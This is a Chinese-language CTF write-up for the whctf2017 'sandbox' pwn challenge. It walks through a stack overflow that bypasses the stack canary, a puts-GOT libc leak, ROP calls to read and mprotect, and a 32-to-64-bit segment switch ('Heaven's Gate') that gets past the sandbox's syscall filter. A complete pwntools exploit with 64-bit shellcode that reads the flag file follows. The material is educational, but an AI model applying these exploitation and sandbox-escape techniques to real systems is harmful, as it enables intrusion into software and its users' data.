whctf2017的一道pwn題sandbox,這道題提供了兩個可執行文件加一個libc,兩個可執行文件是一個vuln,一個sandbox,這是一道通過沙盒去保護vuln不被攻擊的題目。
用ida打開vuln:
進入80485CB函數:
這里s給的空間是48但是輸入是直到換行停止,這里就存在了棧溢出。但是這道題目開了CANARY,所以不能直接覆蓋到返回地址。注意到這題,s的空間下面就是v5,而v5是控制寫到s的位置,所以可以通過覆蓋v5到返回地址而繞過修改那段Cookie,在不開sandbox的情況下拿shell的辦法為:
1.覆蓋返回地址為puts函數的plt表地址,由於這樣跳轉少了一個call函數也就是沒有push返回地址,所以對於puts函數執行完的返回地址就是進入這個函數時的esp地址的下一個地址,然后再下一個地址就是puts函數的參數,第一次提交'a'*0x30+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got)這樣就會在執行到函數retn時去執行puts(puts_got)然后再返回到main函數中去。
2.拿到了puts函數的實際地址再通過libc文件去拿到system函數的實際地址,再到第二次輸入把/bin/sh寫到內存中去,也就是調用read函數,提交'a'*0x30+p8(0x48)+p32(read_plt)+p32(main_addr)+p32(0)+p32(0x0804a02c),這樣在執行完函數時會返回到read函數,接着輸入'/bin/sh'就將字符串寫到了0x0804a02c里。
3.最后調用system函數,參數為0x0804a02c即可拿到shell。
sandbox程序通過系統調用號限制了一些函數的使用,如execve、open、clone、vfork、create、opennat等,同時還會不停殺死新的進程。要繞過沙盒要知道兩點,一是32位的系統調用號和64位的系統調用號不同,二是可以在32位進程中使用64位的系統調用要用到CS寄存器。
在CPU處於保護模式下運行時,CS其實是段選擇器,通過CS的值去找描述符表內對應的代碼段基址。這里參考資料:https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html
所以我們要做的就是把CS寄存器從0x23變成0x33,這個需要通過遠跳轉來實現,即jmp 0x33:addr。知道了如何跳到64位還要知道32位和64位系統調用時的情況,在32位系統中,是通過int $0x80進入系統調用,eax為系統調用號,參數依次放在ebx,ecx,edx中,而在64位系統中,是通過syscall進入系統調用,rax為系統調用號,參數依次放在rdi,rsi,rdx中。
那么這道題的解題過程為:
1,2兩步同上(2中將寫入/bin/sh改為寫入./flag)。
3.通過puts函數實際地址和libc拿到mprotect函數的實際地址,通過mprotect函數去申請一個內存頁為可讀可寫可執行,提交p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7),這樣將0x0804a000變為了可執行的內存段。
4.通過read函數向0x0804a000中寫入代碼同時設置返回值為0x0804a000,這樣read函數運行完后即可到0x0804a000去執行寫入的代碼(這里由於sandbox會不斷的殺死新的進程,所以並沒有使用execve函數而是使用了open,read,write函數將flag文件讀取到終端上顯示)。
exp:
1 from pwn import * 2 context(arch='i386',os='linux',endian='little') 3 context.log_level='debug' 4 5 def game_start(p,libc): 6 puts_plt=0x08048470 7 puts_got=0x0804A018 8 main_addr=0x0804865B 9 read_plt=0x08048440 10 payload='a'*48+p8(0x48)+p32(puts_plt)+p32(main_addr)+p32(puts_got) 11 p.sendline(payload) 12 print p.recvline() 13 re = p.recv() 14 puts_addr = u32(re[:4]) 15 print hex(puts_addr) 16 data_addr = 0x0804A02C 17 payload='a'*48+p8(0x48) 18 system_addr = puts_addr-libc.symbols['puts']+libc.symbols['system'] 19 mprotect_addr = puts_addr-libc.symbols['puts']+libc.symbols['mprotect'] 20 print hex(system_addr) 21 payload+=p32(read_plt)+p32(main_addr)+p32(0)+p32(data_addr)+p32(0x40) 22 p.sendline(payload) 23 print 'before:'+p.recvline() 24 25 p.send('./flag') 26 payload='a'*48+p8(0x48) 27 payload+=p32(mprotect_addr)+p32(main_addr)+p32(0x0804a000)+p32(0x1000)+p32(7) 28 p.sendline(payload) 29 print 'third puts s:'+p.recvline() 30 payload='a'*48+p8(0x48) 31 payload+=p32(read_plt)+p32(0x0804ab00)+p32(0)+p32(0x0804ab00)+p32(0x200) 32 p.sendline(payload) 33 print 'fourth puts s:'+p.recvline() 34 payload=asm('jmp 0x33:0x0804ab20',arch='i386').ljust(0x20,'\x90') 35 shellcode64 = ''' 36 BITS 64 37 org 0x0804ab20 38 mov rdi, 0x0804a02c 39 xor rsi, rsi 40 mov rax, 2 41 syscall 42 mov rdi, rax 43 mov rax, 0 44 mov rsi, 0x0804a900 45 mov rdx, 0x100 46 syscall 47 mov rdx, rax 48 mov rdi, 1 49 mov rsi, 0x0804a900 50 mov rax, 1 51 syscall 52 mov rdi, 0 53 mov rax, 60 54 syscall 55 ''' 56 f = open('shell64.asm', 'wb') 57 f.write(shellcode64.strip()) 58 f.close() 59 os.popen('nasm -f bin -o shell64 shell64.asm') 60 f = open('./shell64', 'rb') 61 d2 = f.read() 62 f.close() 63 payload+=d2 64 p.sendline(payload) 65 p.interactive() 66 67 if __name__=='__main__': 68 debug=1 69 if debug==1: 70 p=process('./vuln') 71 #p=process(['./sandbox','./vuln']) 72 libc=ELF('./libc-32.so') 73 else: 74 p=remote('118.31.18.145',20004) 75 libc=ELF('./libc.so.6') 76 77 #gdb.attach(p,'b *0x0804863F') 78 79 game_start(p,libc)
sandbox題目下載地址:http://files.cnblogs.com/files/lllkh/68025091-fb40-4281-83ea-230331c1448a.gz